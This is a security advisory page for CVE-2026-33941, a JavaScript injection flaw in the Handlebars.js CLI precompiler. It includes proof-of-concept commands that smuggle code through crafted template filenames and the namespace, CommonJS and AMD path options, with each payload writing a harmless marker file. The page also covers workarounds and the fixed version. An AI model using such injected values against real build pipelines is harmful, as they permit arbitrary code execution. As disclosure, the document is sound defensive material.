CVE-2026-33941: Handlebars.js has JavaScript Injection in CLI Precompiler via Unescaped Names and Options

Published Mar 27, 2026
·
Updated

Summary

The Handlebars CLI precompiler (bin/handlebars / lib/precompiler.js) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser.

Description

lib/precompiler.js generates JavaScript source by string-interpolating several values directly into the output. Four distinct injection points exist:

1. Template name injection

javascript // Vulnerable code pattern output += 'templates["' + template.name + '"] = template(...)';

template.name is derived from the file system path. A filename containing " or ']; breaks out of the string literal and injects arbitrary JavaScript.

2. Namespace injection (-n / --namespace)

javascript // Vulnerable code pattern output += 'var templates = ' + opts.namespace + ' = ' + opts.namespace + ' || {};';

opts.namespace is emitted as raw JavaScript. Anything after a ; in the value becomes an additional JavaScript statement.

3. CommonJS path injection (-c / --commonjs)

javascript // Vulnerable code pattern output += 'var Handlebars = require("' + opts.commonjs + '");';

opts.commonjs is interpolated inside double quotes with no escaping, allowing " to close the string and inject further code.

4. AMD path injection (-h / --handlebarPath)

javascript // Vulnerable code pattern output += "define(['" + opts.handlebarPath + "handlebars.runtime'], ...)";

opts.handlebarPath is interpolated inside single quotes, allowing ' to close the array element.

All four injection points result in code that executes when the generated bundle is require()d or loaded in a browser.

Proof of Concept

Template name vector (creates a file pwned on disk):

bash mkdir -p templates printf 'Hello' > "templates/evil'] = (function(){require(\"fs\").writeFileSync(\"pwned\",\"1\")})(); //.handlebars"

node bin/handlebars templates -o out.js node -e 'require("./out.js")' # Executes injected code, creates ./pwned

Namespace vector:

bash node bin/handlebars templates -o out.js \ -n "App.ns; require('fs').writeFileSync('pwned2','1'); //" node -e 'require("./out.js")'

CommonJS vector:

bash node bin/handlebars templates -o out.js \ -c 'handlebars"); require("fs").writeFileSync("pwned3","1"); //' node -e 'require("./out.js")'

AMD vector:

bash node bin/handlebars templates -o out.js -a \ -h "'); require('fs').writeFileSync('pwned4','1'); // " node -e 'require("./out.js")'

Workarounds

- Validate all CLI inputs before invoking the precompiler. Reject filenames and option values that contain characters with JavaScript string-escaping significance (", ', ;, etc.). - Use a fixed, trusted namespace string passed via a configuration file rather than command-line arguments in automated pipelines. - Run the precompiler in a sandboxed environment (container with no write access to sensitive paths) to limit the impact of successful exploitation. - Audit template filenames in any repository or package that is consumed by an automated build pipeline.

Other sources

Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, the Handlebars CLI precompiler (bin/handlebars / lib/precompiler.js) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser. Version 4.7.9 fixes the issue. Some workarounds are available. First, validate all CLI inputs before invoking the precompiler. Reject filenames and option values that contain characters with JavaScript string-escaping significance (", ', ;, etc.). Second, use a fixed, trusted namespace string passed via a configuration file rather than command-line arguments in automated pipelines. Third, run the precompiler in a sandboxed environment (container with no write access to sensitive paths) to limit the impact of successful exploitation. Fourth, audit template filenames in any repository or package that is consumed by an automated build pipeline.

MITRE

Affected Software

3 affected componentsFixes available
npm/handlebars>=4.0.0<=4.7.8
4.7.9
Handlebarsjs Handlebars Node.js>=4.0.0<4.7.9
IBM API Connect V12 OnPrem<=All

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/handlebars to a version that resolves this vulnerability.

    Fixed in 4.7.9
  2. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 4.7.9
  3. Configuration

    Before invoking the Handlebars CLI precompiler, validate all CLI inputs used for -c/--commonjs, -h/--handlebarPath, -n/--namespace, and template filenames; reject inputs containing characters with JavaScript string-escaping significance such as ", ', and ;.

    Handlebars CLI precompiler (bin/handlebars / lib/precompiler.js) CommonJS path injection inputs (-c / --commonjs) = Reject/validate values containing characters with JavaScript string-escaping significance (e.g., ", ', ;).
  4. Configuration

    In automated build pipelines, pass a fixed, trusted namespace value via a configuration file rather than via -n/--namespace command-line arguments.

    Handlebars CLI precompiler (bin/handlebars / lib/precompiler.js) Namespace injection (-n / --namespace) = Use a fixed, trusted namespace string from a configuration file instead of passing via command-line arguments.
  5. Configuration

    Audit template filenames in any repository or package that is consumed by an automated build pipeline to ensure filenames do not contain characters that could break out of JavaScript string literals.

    Handlebars CLI precompiler (bin/handlebars / lib/precompiler.js) Template name injection (template filenames) = Audit template filenames in consumed repositories/packages.
  6. Compensating control

    Run the Handlebars CLI precompiler in a sandboxed environment (e.g., a container with no write access to sensitive paths) to limit impact if exploitation succeeds.

Event History

Mar 27, 2026
Advisory Published
via GitHub·06:22 PM
Data Sourced
via GitHub·06:22 PM
DescriptionSeverityWeaknessAffected Software
CVE Published
via MITRE·09:13 PM
Data Sourced
via MITRE·09:13 PM
DescriptionSeverityWeakness
Data Sourced
via Red Hat·10:03 PM
DescriptionSeverityAffected Software
Data Sourced
via NVD·10:16 PM
RemedyDescriptionSeverityWeaknessAffected Software
Jul 7, 2026
Data Sourced
via IBM·12:00 AM
DescriptionAffected Software

Parent advisories

This vulnerability appears in the following advisories.

Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-33941?

The severity of CVE-2026-33941 is classified as a high risk due to the potential for code injection vulnerabilities.

2

How do I fix CVE-2026-33941?

To fix CVE-2026-33941, you should upgrade your Handlebars package to version 4.7.9 or later.

3

What systems are affected by CVE-2026-33941?

CVE-2026-33941 affects versions of Handlebars from 4.0.0 to 4.7.8.

4

What are the risks of CVE-2026-33941?

The risks associated with CVE-2026-33941 include arbitrary code execution if an attacker can influence template filenames.

5

Is my application vulnerable to CVE-2026-33941?

Your application is vulnerable to CVE-2026-33941 if it uses Handlebars versions between 4.0.0 and 4.7.8.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203